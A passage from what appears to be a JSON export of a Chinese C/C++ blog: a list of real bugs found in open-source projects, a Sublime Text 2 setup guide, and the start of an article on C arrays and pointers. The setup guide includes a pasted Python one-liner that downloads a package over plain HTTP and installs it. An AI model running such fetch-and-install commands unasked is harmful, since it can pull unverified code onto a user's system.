HA_LEX_CREATE_TMP_TABLE)) {\n…\n}\n这段代码原意是想测试create_info-\u0026gt;options变量中几个bit位的值是否set了，即!(create_info-\u0026gt;options \u0026amp; HA_LEX_CREATE_TMP_TABLE)，但由于!的运算优先级高于\u0026amp;，实际逻辑变成了(!create_info-\u0026gt;options) \u0026amp; HA_LEX_CREATE_TMP_TABLE了。如果想要这段代码如期工作，就不要吝啬小括号了。\n[#2] Emule工程 – *和++的运算优先级\nSTDMETHODIMP\nCCustomAutoComplete::Next(…, ULONG *pceltFetched)\n{\n…\nif (pceltFetched != NULL)\n*pceltFetched++;\n…\n}\n显然作者原意是想对pceltFetched所指向的long型变量进行++操作，但由于*和++的运算优先级没有搞对，导致实际上执行了*(pceltFetched++)的操作，而不是(*pceltFetched)++操作。\n[#3] Chromium项目 – \u0026amp;和!=的运算优先级\n#define FILE_ATTRIBUTE_DIRECTORY 0×00000010\nbool GetPlatformFileInfo(PlatformFile file, PlatformFileInfo* info) {\n…\ninfo-\u0026gt;is_directory =\nfile_info.dwFileAttributes \u0026amp; FILE_ATTRIBUTE_DIRECTORY != 0;\n…\n}\n这个程序员的意图是通过测试file_info.dwFileAttributes的几个bit位的值来判定是否是目录，逻辑上应该是(file_info.dwFileAttributes \u0026amp; FILE_ATTRIBUTE_DIRECTORY) != 0，但由于!=优先级高于\u0026amp;，原代码中无括号，结果逻辑变成了file_info.dwFileAttributes \u0026amp; (FILE_ATTRIBUTE_DIRECTORY != 0)，导致is_directory将永远求值为true。\n[#4] BCmenu项目 – if和else弄混\nvoid BCMenu::InsertSpaces(void)\n{\nif(IsLunaMenuStyle())\nif(!xp_space_accelerators) return;\nelse\nif(!original_space_accelerators) return;\n…\n}\n这又是C语言的一个“大坑”，无奈这个BCMenu项目的程序员掉坑里了。虽然从代码缩进上来看，else似乎是与最外层的if配对使用，但实际这段代码的效果是：\nif(IsLunaMenuStyle())\n{\nif(!xp_space_accelerators) {\nreturn;\n} else {\nif(!original_space_accelerators) return;\n}\n}\n这显然不是程序员原意，看来括号必要时还是不能省略的。修改后的代码如下：\nif(IsLunaMenuStyle()) {\nif(!xp_space_accelerators) return;\n} else {\nif(!original_space_accelerators) return;\n}\n四、格式化输出错误\n[#1] ReactOS项目 – 错误地输出WCHAR字符\nstatic void REGPROC_unescape_string(WCHAR* str)\n{\n…\ndefault:\nfprintf(stderr,\n\u0026ldquo;Warning! Unrecognized escape sequence: \\\\%c\u0026rsquo;\\n\u0026rdquo;,\nstr[str_idx]);\n…\n}\n%c是用来格式化输出非宽字符的，这里用来输出WCHAR显然会得到错误的结果，fix solution是将%c换位%C。\n[#2] Intel AMT SDK项目 – 缺少%s\nvoid addAttribute(…)\n{\n…\nint index = _snprintf(temp, 1023, \u0026ldquo;%02x%02x:%02x%02x:%02x%02x:%02x%02x:\u0026rdquo;\n\u0026ldquo;%02x%02x:02x%02x:%02x%02x:%02x%02x\u0026rdquo;,\nvalue[0],value[1],value[2],value[3],value[4],\nvalue[5],value[6],value[7],value[8],\nvalue[9],value[10],value[11],value[12],\nvalue[13],value[14],value[15]);\n…\n}\n不解释了，自己慢慢数和对照吧。\n[#3] Intel AMT SDK项目 – 未使用的参数\nbool GetUserValues(…)\n{\n…\nprintf(\u0026ldquo;Error: illegal value. Aborting.\\n\u0026rdquo;, tmp);\nreturn false;\n}\n显然tmp是多余的。\n五、书写错误\n[#1] Miranda IM项目 – 在if中赋值\nvoid CIcqProto::handleUserOffline(BYTE *buf, WORD wLen)\n{\n…\nelse if (wTLVType = 0×29 \u0026amp;\u0026amp; wTLVLen == sizeof(DWORD))\n…\n}\n“wTLVType = 0×29”显然是笔误，应该是“wTLVType == 0×29”才对。\n[#3] Clang项目 – 对象名书写错误\nstatic Value *SimplifyICmpInst(…) {\n…\ncase Instruction::Shl: {\nbool NUW =\nLBO-\u0026gt;hasNoUnsignedWrap() \u0026amp;\u0026amp; LBO-\u0026gt;hasNoUnsignedWrap();\nbool NSW =\nLBO-\u0026gt;hasNoSignedWrap() \u0026amp;\u0026amp; RBO-\u0026gt;hasNoSignedWrap();\n…\n}\n从最后一行先后使用了LBO和RBO来看，前面只用了LBO的那行很可能是有问题的，正确的应该是：\nbool NUW =\nLBO-\u0026gt;hasNoUnsignedWrap() \u0026amp;\u0026amp; RBO-\u0026gt;hasNoUnsignedWrap();\n[#6] G3D Content Pak项目 – 一对括号放错了地方\nbool Matrix4::operator==(const Matrix4\u0026amp; other) const {\nif (memcmp(this, \u0026amp;other, sizeof(Matrix4) == 0)) {\nreturn true;\n}\n…\n}\n由于括号放错了地方，导致memcmp最后的参数变成了sizeof(Matrix4) == 0，这行代码的正确写法应该是：\nif (memcmp(this, \u0026amp;other, sizeof(Matrix4)) == 0) {\n[#8] Apache Http Server项目 – 多余的sizeof\nPSECURITY_ATTRIBUTES GetNullACL(void)\n{\nPSECURITY_ATTRIBUTES sa;\nsa = (PSECURITY_ATTRIBUTES)\nLocalAlloc(LPTR, sizeof(SECURITY_ATTRIBUTES));\nsa-\u0026gt;nLength = sizeof(sizeof(SECURITY_ATTRIBUTES));\n…\n}\n最后一行显然是笔误，sizeof(sizeof(SECURITY_ATTRIBUTES))应该写为sizeof(SECURITY_ATTRIBUTES)才对。\n[#10] Notepad++项目 – 在本来应该用\u0026amp;的地方使用了\u0026amp;\u0026amp;\nTCHAR GetASCII(WPARAM wParam, LPARAM lParam)\n{\n…\nresult=ToAscii(wParam,\n(lParam \u0026raquo; 16) \u0026amp;\u0026amp; 0xff, keys,\u0026amp;dwReturnedValue,0);\n…\n}\n(lParam \u0026raquo; 16) \u0026amp;\u0026amp; 0xff没有什么意义，求值结果总是true。这里的代码应该是(lParam \u0026raquo; 16) \u0026amp; 0xff。\n[#12] Fennec Media Project项目 – 额外的分号\nint settings_default(void)\n{\n…\nfor(i=0; i\u0026lt;16; i++);\nfor(j=0; j\u0026lt;32; j++)\n{\nsettings.conversion.equalizer_bands.boost[i][j] = 0.0;\nsettings.conversion.equalizer_bands.preamp[i] = 0.0;\n}\n}\n这又是一个实际逻辑与代码缩进不符的例子。作者的原意是这样的：\nfor(i=0; i\u0026lt;16; i++) {\nfor(j=0; j\u0026lt;32; j++)\n{\nsettings.conversion.equalizer_bands.boost[i][j] = 0.0;\nsettings.conversion.equalizer_bands.preamp[i] = 0.0;\n}\n}\n但实际执行代码逻辑却是：\nfor(i=0; i\u0026lt;16; i++) {\n;\n}\nfor(j=0; j\u0026lt;32; j++)\n{ settings.conversion.equalizer_bands.boost[i][j] = 0.0;\nsettings.conversion.equalizer_bands.preamp[i] = 0.0;\n}\n这一切都是那个;导致的。\n六、对基本函数和类的误用\n[#2] TortoiseSVN项目 – remove函数的误用\nSTDMETHODIMP CShellExt::Initialize(….)\n{\n…\nignoredprops = UTF8ToWide(st.c_str());\n// remove all escape chars (\u0026rsquo;\\\\\u0026rsquo;)\nstd::remove(ignoredprops.begin(), ignoredprops.end(), \u0026lsquo;\\\\\u0026rsquo;);\nbreak;\n…\n}\n作者意图删除所有\u0026rsquo;\\\\\u0026rsquo;，但他用错了函数，remove函数只是交换元素的位置，将要删除的元素交换到尾部trash，并且返回指向trash首地址的iterator。正确的做法应该是\u0026quot;v.erase(remove(v.begin(), v.end(), 2), v.end())\u0026quot;。\n[#5] Pixie项目 – 在循环中使用alloca函数\ninline void triangulatePolygon(…) {\n…\nfor (i=1;i\u0026lt;nloops;i++) {\n…\ndo {\n…\ndo {\n…\nCTriVertex *snVertex =\n(CTriVertex *)alloca(2*sizeof(CTriVertex));\n…\n} while(dVertex != loops[0]);\n…\n} while(sVertex != loops[i]);\n…\n}\n…\n}\nalloca函数在栈上分配内存，因此在循环中使用alloca可能会很快导致栈溢出。\n七、无意义的代码\n[#1] IPP Samples项目 – 不完整的条件\nvoid lNormalizeVector_32f_P3IM(Ipp32f *vec[3],\nIpp32s* mask, Ipp32s len)\n{\nIpp32s i;\nIpp32f norm;\nfor(i=0; i\u0026lt;len; i++) {\nif(mask\u0026lt;0) continue;\nnorm = 1.0f/sqrt(vec[0][i]*vec[0][i]+\nvec[1][i]*vec[1][i]+vec[2][i]*vec[2][i]);\nvec[0][i] *= norm; vec[1][i] *= norm; vec[2][i] *= norm;\n}\n}\nmask是Ipp32s类型指针，这样if (mask\u0026lt; 0)这句代码显然没啥意义，正确的代码应该是：\nif (mask[i] \u0026lt; 0) continue;\n[#2] QT项目 – 重复的检查\nQ3TextCustomItem* Q3TextDocument::parseTable(…)\n{\n…\nwhile (end \u0026lt; length\n\u0026amp;\u0026amp; !hasPrefix(doc, length, end, QLatin1String(\u0026quot;\u0026lt;/td\u0026rdquo;))\n\u0026amp;\u0026amp; !hasPrefix(doc, length, end, QLatin1String(\u0026quot;\u0026lt;td\u0026rdquo;))\n\u0026amp;\u0026amp; !hasPrefix(doc, length, end, QLatin1String(\u0026quot;\u0026lt;/th\u0026rdquo;))\n\u0026amp;\u0026amp; !hasPrefix(doc, length, end, QLatin1String(\u0026quot;\u0026lt;th\u0026quot;))\n\u0026amp;\u0026amp; !hasPrefix(doc, length, end, QLatin1String(\u0026quot;\u0026lt;td\u0026quot;))\n\u0026amp;\u0026amp; !hasPrefix(doc, length, end, QLatin1String(\u0026quot;\u0026lt;/tr\u0026quot;))\n\u0026amp;\u0026amp; !hasPrefix(doc, length, end, QLatin1String(\u0026quot;\u0026lt;tr\u0026quot;))\n\u0026amp;\u0026amp; !hasPrefix(doc, length, end, QLatin1String(\u0026quot;\u0026lt;/table\u0026quot;))) {\n…\n}\n这里对\u0026quot;\u0026lt;td\u0026quot;做了两次check。\n八、总是True或False的条件\n[#1] Shareaza项目 – char类型的值范围\nvoid CRemote::Output(LPCTSTR pszName)\n{\n…\nCHAR* pBytes = new CHAR[ nBytes ];\nhFile.Read( pBytes, nBytes );\n…\nif ( nBytes \u0026gt; 3 \u0026amp;\u0026amp; pBytes[0] == 0xEF \u0026amp;\u0026amp;\npBytes[1] == 0xBB \u0026amp;\u0026amp; pBytes[2] == 0xBF )\n{\npBytes += 3;\nnBytes -= 3;\nbBOM = true;\n}\n…\n}\n表达式\u0026quot;pBytes[0] == 0xEF\u0026quot;总是False。char类型的值范围是-128~127 \u0026lt; 0xEF，因此这个表达式总是False，导致整个if condition总是为False，与预期逻辑不符。\n[#3] VirtualDub项目 – 无符号类型总是\u0026gt;=0\ntypedef unsigned short wint_t;\n…\nvoid lexungetc(wint_t c) {\nif (c \u0026lt; 0)\nreturn;\ng_backstack.push_back(c);\n}\nc是unsigned short类型，永远不会小于0,也就是说if (c \u0026lt; 0)永远为False。\n[#8] MySQL项目 – 条件错误\nenum enum_mysql_timestamp_type\nstr_to_datetime(…)\n{\n…\nelse if (str[0] != ‘a’ || str[0] != \u0026lsquo;A\u0026rsquo;)\ncontinue; /* Not AM/PM */\n…\n}\nif (str[0] != ‘a’ || str[0] != \u0026lsquo;A\u0026rsquo;)这个条件永远为真。也许这块本意是想用\u0026amp;\u0026amp;。\n九、代码漏洞\n导致漏洞的代码错误实际上也都是笔误、不正确的条件以及不正确的数组操作等。但这里还是想将一些特定错误划归为一类，因为入侵者可以利用这些错误来攻击你的代码，获取其利益。\n[#1] Ultimate TCP/IP项目 – 空字符串的错误检查\nchar *CUT_CramMd5::GetClientResponse(LPCSTR ServerChallenge)\n{\n…\nif (m_szPassword != NULL)\n{\n…\nif (m_szPassword != \u0026lsquo;\\0\u0026rsquo;)\n{\n…\n}\n第二个if condition check意图检查m_szPassword是否为空字符串，但却错误的将指针与\u0026rsquo;\\0\u0026rsquo;进行比较，正确的代码应该是这样的：\nif (*m_szPassword != \u0026lsquo;\\0\u0026rsquo;)\n[#2] Chromium项目 – NULL指针的处理\nbool ChromeFrameNPAPI::Invoke(…)\n{\nChromeFrameNPAPI* plugin_instance =\nChromeFrameInstanceFromNPObject(header);\nif (!plugin_instance \u0026amp;\u0026amp;\n(plugin_instance-\u0026gt;automation_client_.get()))\nreturn false;\n…\n}\n一旦plugin_instance为NULL，!plugin_instance为True，代码对\u0026amp;\u0026amp;后面的子条件求值，引用plugin_instance将导致程序崩溃。正确的做法应该是：\nif (plugin_instance \u0026amp;\u0026amp;\n(plugin_instance-\u0026gt;automation_client_.get()))\nreturn false;\n[#5] Apache httpd Server项目 – 不完整的缓冲区clear\n#define MEMSET_BZERO(p,l) memset((p), 0, (l))\nvoid apr__SHA256_Final(…, SHA256_CTX* context) {\n…\nMEMSET_BZERO(context, sizeof(context));\n…\n}\n这个错误前面提到过，sizeof(context)只是指针的大小，将之改为sizeof(*context)就OK了。\n[#7] PNG Library项目 – 意外的指针clear\npng_size_t\npng_check_keyword(png_structp png_ptr, png_charp key,\npng_charpp new_key)\n{\n…\nif (key_len \u0026gt; 79)\n{\npng_warning(png_ptr, \u0026ldquo;keyword length must be 1 – 79 characters\u0026rdquo;);\nnew_key[79] = \u0026lsquo;\\0\u0026rsquo;;\nkey_len = 79;\n}\n…\n}\nnew_key的类型为png_charpp，顾名思义，这是一个char**类型，但代码中new_key[79] = ‘\\0′这句显然是要给某个char赋值，但new_key[n]得到的应该是一个地址，给一个地址赋值为’\\0′显然是有误的。正确的写法应该是(*new_key)[79] = \u0026lsquo;\\0\u0026rsquo;。\n[#10] Miranda IM项目 – 保护没生效\nvoid Append( PCXSTR pszSrc, int nLength )\n{\n…\nUINT nOldLength = GetLength();\nif (nOldLength \u0026lt; 0)\n{\n// protects from underflow\nnOldLength = 0;\n}\n…\n}\nnOldLength椒UINT类型，其值永远不会小于0,因此if (nOldLength \u0026lt; 0)这行成了摆设。\n[#12] Ultimate TCP/IP项目 – 不正确的循环结束条件\nvoid CUT_StrMethods::RemoveSpaces(LPSTR szString) {\n…\nsize_t loop, len = strlen(szString);\n// Remove the trailing spaces\nfor(loop = (len-1); loop \u0026gt;= 0; loop–) {\nif(szString[loop] != \u0026rsquo; \u0026lsquo;)\nbreak;\n}\n…\n}\n循环中的结束条件loop \u0026gt;= 0将永远为True，因为loop变量的类型是size_t是unsigned类型，永远不会小于0。\n十、拷贝粘贴\n和笔误不同，程序员们决不因该低估拷贝粘贴问题，这类问题发生了太多。程序员们花费了大量时间在这些问题的debug上。\n[#1] Fennec Media Project项目 – 处理数组元素时出错\nvoid* tag_write_setframe(char *tmem,\nconst char *tid, const string dstr)\n{\n…\nif(lset)\n{\nfhead[11] = \u0026lsquo;\\0\u0026rsquo;;\nfhead[12] = \u0026lsquo;\\0\u0026rsquo;;\nfhead[13] = \u0026lsquo;\\0\u0026rsquo;;\nfhead[13] = \u0026lsquo;\\0\u0026rsquo;;\n}\n…\n}\n咋看一下，fhead[13]做了两次赋值，似乎没啥问题。但仔细想一下，最后那行程序员的原意极可能是想写fhead[14] = \u0026lsquo;\\0\u0026rsquo;。问题就在这里了。\n[#2] MySQL项目 – 处理数组元素时出错\nstatic int rr_cmp(uchar *a,uchar *b)\n{\nif (a[0] != b[0])\nreturn (int) a[0] – (int) b[0];\nif (a[1] != b[1])\nreturn (int) a[1] – (int) b[1];\nif (a[2] != b[2])\nreturn (int) a[2] – (int) b[2];\nif (a[3] != b[3])\nreturn (int) a[3] – (int) b[3];\nif (a[4] != b[4])\nreturn (int) a[4] – (int) b[4];\nif (a[5] != b[5])\nreturn (int) a[1] – (int) b[5];\nif (a[6] != b[6])\nreturn (int) a[6] – (int) b[6];\nreturn (int) a[7] – (int) b[7];\n}\n编写这类代码时，我猜绝大多数人会选择Copy-Paste，然后再逐行修改，问题就发生在修改过程中，上面的代码中当处理a[5] != b[5]时就忘记修改一个下标了：return (int) a[1] – (int) b[5];显然这里的正确代码应该是return (int) a[5] – (int) b[5]。\n[#3] TortoiseSVN项目 文件名不正确\nBOOL GetImageHlpVersion(DWORD \u0026amp;dwMS, DWORD \u0026amp;dwLS)\n{\nreturn(GetInMemoryFileVersion((\u0026ldquo;DBGHELP.DLL\u0026rdquo;),\ndwMS, dwLS)) ; }\nBOOL GetDbgHelpVersion(DWORD \u0026amp;dwMS, DWORD \u0026amp;dwLS)\n{\nreturn(GetInMemoryFileVersion((\u0026ldquo;DBGHELP.DLL\u0026rdquo;),\ndwMS, dwLS)) ; }\nGetImageHlpVersion和GetDbgHelpVersion都使用了\u0026quot;DBGHELP.DLL\u0026quot;文件，显然GetImageHlpVersion写错文件名了。应该用\u0026quot;IMAGEHLP.DLL\u0026quot;就对了。\n[#4] Clang项目 – 等同的函数体\nMapTy PerPtrTopDown;\nMapTy PerPtrBottomUp;\nvoid clearBottomUpPointers() {\nPerPtrTopDown.clear();\n}\nvoid clearTopDownPointers() {\nPerPtrTopDown.clear();\n}\n我们看到虽然两个函数名不同，但是函数体的内容是相同的，显然又是copy-paste惹的祸。做如下修改即可：\nvoid clearBottomUpPointers() {\nPerPtrBottomUp.clear();\n}\n十一、Null指针的校验迟了\n这里的“迟了”的含义是先使用指针，然后再校验指针是否为NULL。\n[#1] Quake-III-Arena项目 – 校验迟了\nvoid Item_Paint(itemDef_t *item) {\nvec4_t red;\nmenuDef_t *parent = (menuDef_t*)item-\u0026gt;parent;\nred[0] = red[3] = 1;\nred[1] = red[2] = 0;\nif (item == NULL) {\nreturn;\n}\n…\n}\n在校验item是否为NULL前已经使用过item了，一旦item真的为NULL，那程序必然崩溃。\n十二、其他杂项\n[#1] Image Processing 项目 – 八进制数\ninline\nvoid elxLuminocity(const PixelRGBus\u0026amp; iPixel,\nLuminanceCell\u0026lt; PixelRGBus \u0026gt;\u0026amp; oCell)\n{\noCell._luminance = uint16(0.2220f*iPixel._red +\n0.7067f*iPixel._blue + 0.0713f*iPixel._green);\noCell._pixel = iPixel;\n}\ninline\nvoid elxLuminocity(const PixelRGBi\u0026amp; iPixel,\nLuminanceCell\u0026lt; PixelRGBi \u0026gt;\u0026amp; oCell)\n{\noCell._luminance = 2220*iPixel._red +\n7067*iPixel._blue + 0713*iPixel._green;\noCell._pixel = iPixel;\n}\n第二个函数，程序员原意是使用713这个十进制整数，但0713 != 713，在C中，0713是八进制的表示法，Compiler会认为这是个八进制数。\n[#2] IPP Sample工程 – 一个变量用于两个loop中\nJERRCODE CJPEGDecoder::DecodeScanBaselineNI(void)\n{\n…\nfor(c = 0; c \u0026lt; m_scan_ncomps; c++)\n{\nblock = m_block_buffer + (DCTSIZE2*m_nblock*(j+(i*m_numxMCU)));\n// skip any relevant components\nfor(c = 0; c \u0026lt; m_ccomp[m_curr_comp_no].m_comp_no; c++)\n{\nblock += (DCTSIZE2*m_ccomp[c][/c][/c].m_nblocks);\n}\n…\n}\n变量c用在了两个loop中，这会导致只有部分数据被处理，或外部循环中止。\n[#3] Notepad++项目 – 怪异的条件表达式\nint Notepad_plus::getHtmlXmlEncoding(….) const\n{\n…\nif (langT != L_XML \u0026amp;\u0026amp; langT != L_HTML \u0026amp;\u0026amp; langT == L_PHP)\nreturn -1;\n…\n}\n代码中的那行if条件等价于 if (langT == L_PHP)，显然似乎不是作者原意，猜测正确的代码应该是这样的：\nint Notepad_plus::getHtmlXmlEncoding(….) const\n{\n…\nif (langT != L_XML \u0026amp;\u0026amp; langT != L_HTML \u0026amp;\u0026amp; langT != L_PHP)\nreturn -1;\n…\n}\n","permalink":"https://tonybai.com/2013/04/10/100-bugs-in-c-cpp-opensource-projects/","summary":"\u003cp\u003e俄罗斯\u003ca href=\"http://www.viva64.com/\"\u003eOOO Program Verification Systems\u003c/a\u003e公司用自己的静态源码分析产品PVS-Studio对一些知名的C/C++开源项目，诸如\u003ca href=\"http://httpd.apache.org/\"\u003eApache Http Server\u003c/a\u003e、\u003ca href=\"http://www.chromium.org/\"\u003eChromium\u003c/a\u003e、\u003ca href=\"http://clang.llvm.org/\"\u003eClang\u003c/a\u003e、\u003ca href=\"http://www.cmake.org/\"\u003eCMake\u003c/a\u003e、\u003ca href=\"http://www.mysql.com/\"\u003eMySQL\u003c/a\u003e等的源码进行了分析，找出了\u003ca href=\"http://www.viva64.com/en/a/0079/\"\u003e100个典型的Bugs\u003c/a\u003e。个人觉得这份列表对C/C++ 程序员有一定参考意义。与其说事后用静态工具分析，倒不如在编码时就提高自知自觉，避免这份列表上的错误发生在你的代码中，因此这里将部分摘录一些Bugs（Bug编号这里不连续，为的是对应原文的编号）并做简要说明。原文将这份Bug列表分为了几类，这里也将沿用这个思路。\u003c/p\u003e","title":"C,C++开源项目中的100个Bugs"},{"content":"用惯了Vim后，也会有一种尝试新Editor的冲动，这回Sublime Text 2满足了我的这个需求。据说Sublime Text是目前最火的代码编辑器之一，我周围为数不多的几个比较Geek的同事都已经开始使用Sublime Text 2或用了很长时间了，其官方网站首页的Feature Demo也的确非常地炫。\n安装Sublime Text 2\n我的实验环境Ubuntu 12.04.1 32-bit Desktop版，默认Ubuntu Unity桌面，iBus拼音输入法。\nSublime Text 2的安装极其简单，遵循着download（http://www.sublimetext.com/2） -\u0026gt; unzip -\u0026gt; add path -\u0026gt; start and use的经典路线。我下载的Sublime Text 2是2.0.1版本，启动后一切正常。\n安装后目录结构\n安装后的Sublime Text 2的目录结构非常简洁：\n$ ls\nIcon/ PackageSetup.py Pristine Packages/\nlib/ sublime_plugin.py sublime_text*\nlib下是自带的Python26环境；Pristine Packages下是各种编程语言的插件包。\n在我的环境下Sublime Text 2的用户配置与包环境放在了~/.config/sublime-text-2/下面，\n$ ls\nInstalled Packages/ Packages/ Pristine Packages/ Settings/\n这里面最重要的目录就是Packages目录了，这里是Sublime Text 2用第三方包扩展自身Feature的包存储路径。\n安装package control\npackage control包之于Sublime Text 2就好比apt工具之于Ubuntu，它是一个方便第三方包安装、卸载和管理的第三方包。在其官网(http://wbond.net/sublime_packages/package_control)上明示了其安装方法：\n* 敲入 ctrl + ` 调出命令行窗口\n* 在命令行窗口中输入下面的代码，回车执行。\nimport urllib2,os; pf=\u0026lsquo;Package Control.sublime-package\u0026rsquo;; ipp=sublime.installed_packages_path(); os. makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2. ProxyHandler())); open(os.path.join(ipp,pf),\u0026lsquo;wb\u0026rsquo;).write(urllib2.urlopen(\u0026lsquo;http://sublime.wbond.net/'+pf.replace(' \u0026lsquo;,\u0026rsquo;%20\u0026rsquo;)).read()); print(\u0026lsquo;Please restart Sublime Text to finish installation\u0026rsquo;)\n* 重启Sublime Text 2。\n注意：如果需要代理访问外网的话，需要正确设置http_proxy环境变量。\n敲入\u0026quot;ctrl + shift + p\u0026quot;可打开命令窗口，输入\u0026quot;Package Control\u0026quot;，你会看到窗口下拉提示中Package Control支持的功能，常用的我们会选择：“Package Control: Install Package”。\n安装中文支持\n中国程序员每每在尝试一种国外程序员新开发的编辑器时，都会遇到中文字符集编码的问题，这次Sublime Text 2也不例外，它原生就不支持中文显示。还好中国程序员是无比聪明的，开发了ConvertToUTF8这样的第三方包，让我们可以看到中文并用中文编辑。\n最简单的安装ConvertToUTF8的方法就是用Package Control安装，选择Package Control: Install Package后，搜素ConvertToUTF8，找到后，点击即可安装。安装后，你会在~/.config/sublime-text-2/Packages下面看到ConvertToUTF8包目录。\n再次启动Sublime Text 2后，打开一个GBK编码的中文文档，居然提示ConvertToUTF8工作不正常。后发现ConvertToUTF8主页上有提示，Python 2.6下的ConvertToUTF8需要一个Codecs26的Package才能正常运行。下载Codecs26后，解压安装到Packages下面，重新启动Sublime Text 2，Sublime Text 2直接dump core。从Packages目录下将Codecs26删除后，Sublime Text 2恢复正常。\n又细致读了ConvertToUTF8作者的README文件，发现master branch上的Codecs26是for 64位版本的，我需要下载x32 branch上的包。的确，下载并安装x32 branch上的Codecs26后，Sublime Text 2启动OK，转换中文OK了。\n注意：不要与其他支持GBK转换的包（比如GBK Encoding Support）混用，否则ConvertToUTF8无法works。\n解决中文输入问题\n好不容易能看GBK编码的中文文件了，却发现无法输入中文，无论如何切换输入法和重启输入法，都无法输入中文。网上介绍可通过\u0026quot;Input Helper Package（cd .config/sublime-text-2/Packages; git clone http://github.com/xgenvn/InputHelper.git）\u0026ldquo;解决问题。问题的确可以解决，不过输入中文时太麻烦了：需要先敲入\u0026quot;ctrl+shift+z\u0026quot;调出中文输入框，再在这个框里输入中文。\n网上都说这是iBus输入法与Sublime Text 2的兼容问题，要想解决就要换fcitx。以前用过fcitx感觉默认输入法比较弱，不过现在fcitx有google pinyin了，体验一定会提高不少。通过下面命令一键安装fcitx：\nsudo apt-get install fcitx fcitx-googlepinyin\n安装后，在“语言支持”中用fcitx替换掉iBus。在“启动应用程序”中加入：\n名称: Fcitx\n命令: /usr/bin/fcitx -d\n注释t: Fcitx启动\n注销再登录后，再打开Sublime Text 2，终于可以输入中文了。\n功能\n用了一遭儿，Sublime Text 2最吸引我的Feature包括：“Goto Anything”和“Multi-Selection”。在一个工程中，通过ctrl + p调出一个输入框，Sublime Text 2首先在文件名级别对你输入的文本进行匹配；待选择好文件后，继续输入@，可看到下拉列表中显示这个文件中所有函数名的名称列表；如果输入的是#，那么下拉列表中将显示该文件中的所有符号。选择某个函数名或符号后，光标将停留在某个符号上，这时我们可以用Multi-Selection这个功能了，如果你要将这个文件中同名符号全选出来，直接Alt+F3即可；如果要选择接下来的N个同名符号，那么敲入N次ctrl + D即可。\n不过要想实现ctags那种在符号上跳转到符号定义或符号调用者的功能，Sublime Text 2还无法原生支持，可考虑安装Sublime Text 2的Ctags插件实现：直接在Packages目录下git clone https://github.com/SublimeText/CTags.git。之后：\n- “ctrl +t, ctrl+ r\u0026quot;会重新生成tags文件(前提：系统内安装了ctags程序)\n- \u0026ldquo;ctrl +t, ctrl + t\u0026quot;会跳到光标所在符号的定义处;\n- \u0026ldquo;ctrl + t, ctrl + b\u0026quot;会跳回上次的位置;\n感受\nSublime Text 2给我的最大感受就是“快”！你在搜索、切换符号、选择文件列表中文件或符号的同时，整个文件会同步的展现你的屏幕上。\n","permalink":"https://tonybai.com/2013/04/01/hello-sublime-text-2/","summary":"\u003cp\u003e用惯了\u003ca href=\"http://tonybai.com/2008/12/30/in-depth-study-vim/\"\u003eVim\u003c/a\u003e后，也会有一种尝试新Editor的冲动，这回\u003ca href=\"http://www.sublimetext.com/2\"\u003eSublime Text 2\u003c/a\u003e满足了我的这个需求。据说Sublime Text是目前最火的代码编辑器之一，我周围为数不多的几个比较Geek的同事都已经开始使用Sublime Text 2或用了很长时间了，其官方网站首页的Feature Demo也的确非常地炫。\u003c/p\u003e","title":"Hello，Sublime Text 2"},{"content":"上一篇文章中对多级指针做了简要分析，其实只有当指针与多维数组以及函数联合在一起使用时，麻烦才算真正到来。\n零、数组****与数组名\nC语言中的数组的一般声明形式如下：\nT arr_name[n]; /* T为类型，n为数组元素个数 */\n从内存布局角度来说，数组T arr_name[n]就是内存中连续的内存单元，每个内存单元的长度为sizeof(T)，数组的起始内存单元地址为arr_name所在的内存地址， 同时也是数组第一个元素arr_name[0]的内存地址。\nC语言数组的数组名(arr_name)有这样的特点：arr_name = \u0026amp;arr_name = *arr_name = 数组起始地址。见下面例子：\nchar a[5];\nprintf(\u0026ldquo;a = %p\\n\u0026rdquo;, a);\nprintf(\u0026quot;\u0026amp;a = %p\\n\u0026quot;, \u0026amp;a);\nprintf(\u0026quot;*a = %p\\n\u0026quot;, *a);\n输出结果：\na = 0xbfb146c0\n\u0026amp;a = 0xbfb146c0\n*a = 0xbfb146c0\nC语言数组与指针有着紧密的联系。数组名本身的值就是数组的起始地址，有了地址，就有了指针存在的理由了。\n数组名可以被当作指针来用 char a[5] = {1, 2, 3, 4, 5};\nprintf(\u0026quot;%d, %d, %d\\n\u0026quot;, *a, *(a+1), *(a+2)); // 输出1, 2, 3\n这种用法下，数组名相当于指向数组首地址的char*指针变量。\n数组名可以作为地址被赋值给兼容类型的指针变量 char a[5] = {1, 2, 3, 4, 5};\nchar *p = a;\nprintf(\u0026quot;%d, %d, %d\\n\u0026quot;, *p, *(p+1), *(p+2)); //输出1, 2, 3\n数组名不可以被当作指针变量来赋值 char a[5] = {1, 2, 3, 4, 5};\nchar b[5] = {6, 7, 8, 9, 0};\na = b; //编译器提示错误：将‘char *’赋值给‘char[5]’时类型不兼容\n数组名与指针变量不同：指针变量有单独的存储空间，其存储空间内存储的是指向的内存单元的地址，但数组名只是个\u0026quot;代号\u0026quot;而已，其没有单独的存储空间，其所 在内存地址中存储的是数组第一个元素的元素值，而不是一个地址。或者说数组名代表的是一个值类型，char a[5]中的a可理解为是一个char[5]的值类型变量。将一个数组指针变量值赋值给一个值变量显然是不合逻辑的，也是非法的。\n考虑到效率，数组无法被按值传递给函数 虽然数组名可以理解为一个值类型变量，但将数组名传递给函数时，传递的不是数组的全部，而只是数组的首地址，这显然是有效率方面考虑的。如果是传递数组的 全部，那碰到大数组时，这个mem copy的效率显然是不可接受的。但通过这个首地址，函数内部也是可以访问和修改数组中的所有元素的。\n函数形参中的数组变量将被转化为兼容类型指针变量对待 正如4)中所言，数组是以传址方式传入函数的。对于以数组变量作为形参的函数来说，在函数内部引用该参数时，会自动将该参数视为数组类型兼容的指 针变量，比如：\nchar a[5] = {1, 2, 3, 4, 5};\nvoid foo(char a[5]) {\nprintf(\u0026ldquo;sizeof(a) = %d\\n\u0026rdquo;, sizeof(a));\n}\n这是一个经典的C语言“陷阱”。foo形参中变量a已经转化为一个char*类型指针了。对该指针变量进行sizeof操作，所得的 size仅是一个指针的长度(在32bit编译下是4)，而不是a数组的长度(4 * 5)。\n一、多维数组的理解\nC语言中管数组的数组(的数组的…)称为多维数组，虽然高于二维的多维数组并不经常使用和遇见。\nT multi_arr_name[i][j][k];\n多维数组也是数组，根据数组的理解，多维数组也是内存中连续分配的内存单元，只是这些物理分配的内存单元被从逻辑上看成是“行”、“列”以及各种 